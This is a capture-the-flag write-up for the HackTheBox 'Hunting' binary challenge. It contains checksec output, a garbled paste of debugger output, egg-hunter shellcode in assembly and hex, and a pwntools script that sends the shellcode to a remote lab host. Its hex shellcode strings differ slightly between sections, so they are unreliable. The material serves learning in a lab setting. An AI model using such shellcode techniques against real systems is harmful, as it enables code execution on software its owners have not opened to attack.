Hunting

This is a write up for https://app.hackthebox.com/challenges/Hunting

1) Checked Security

```
-(vigneswar&VigneswarPC)-[~/Pwn/Hunting/pwn_hunting]
 $ checksec hunting_patched
[*] '/home/vigneswar/Pwn/Hunting/pwn_hunting/hunting_patched'
              i386-32-little
    Arch:
    RELRO:
              Full RELRO
    Stack:
              No canary foun
    NX:
              NX unknown - GNU_STACK missing
    PIE:
              PIE enabled
    Stack:
              Executable
              Has RWX segments
    RWX:
```

The binary is obfuscated, so not possible to statically analyse the code

2) Dynamic Analysis

```
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow res
ume virtualx86 identification]
  vigneswar%VigneswarPC)-[~/Pwn/Hunting/pwn_hunting]
$ python3 solve.py
                                                                             cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
                                                                                                              0xffc98378 +0x0008: 0x00000000
                                                                            0xffc9837c +0x000c: 0x00000000
0xffc98380 +0x0010: 0xffc983a0
                                                                                                              0x00000001
0x0021dd8c
                                                                            esp, 0x10
DWORD PTR [esp+0xc], 0x0
eax, DWORD PTR [ebp-0x14]
                                                                               0x565fe54c
                                                                                                                 eax, 0x0
esp, [ebp-0x8]
                                                                               0x565fe551
0x565fe554
                                                                                                          pop
pop
                                                                               0x565fe555
                                                                                                                                arguments (guessed) -
                                                                            + 0 \times 8] = 0 \times 0000000000
                                                                            [#0] Id 1, Name: "hunting_patched", stopped 0x565fe54a in ?? (), reason: SING
                                                                            [#0] 0x565fe54a →
[#1] 0xf7d167c5 →
                                                                            [#2] 0xf7d16888 → __libc_start_main()
[#3] 0x565fe235 → hlt
```

It executes our input, so we need to make a shellcode to print flag

We can also see flag being stored

- 3) Note
- i) The flag is stored in a memory location that we dont know
- ii) We can run our shell code
- 4) Egg hunters

https://medium.com/@chaudharyaditya/slae-0x3-egg-hunter-shellcode-6fe367be2776

```
global start
section .text
start:
   ; initial setup
   xor eax, eax
   mov edx, "HTB{"
   mov edi, 0x6ea40000
find:
    ; increment address
   add edi, 0x10000
    ; check if the address is valid
   pusha
    lea ebx, [edi]
   xor ecx, ecx
   mov al, 33
    int 0x80
    cmp al, 0xf2
   popa
    jz find
    ; check if address contains flag
    cmp dword [edi], edx
    jne find
    ; print the flag
   mov eax, 4
   mov ebx, 1
   mov ecx, edi
   mov edx, 36
    int 0x80
```

5) Made shellcode

31c0ba4854427bbf0000a46e81c700000100608d1f31c9b021cd803cf26174ec391775e8b804000000bb0100000089f9ba2400000cd80

6) Exploit

```
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./hunting_patched")
context.binary = exe

io = remote('94.237.58.211', 30179)
# io = process([exe.path])
# gdb.attach(io, gdbscript='fin\n'*2+'ni\n'*3)
io.sendline(unhex('31c0ba4854427bbf0000a46e81c700000100608d1f31c9b021cd803cf261
74ec391775e8b804000000bb0100000089f9ba24000000cd80'))
io.interactive()
```

7) Flag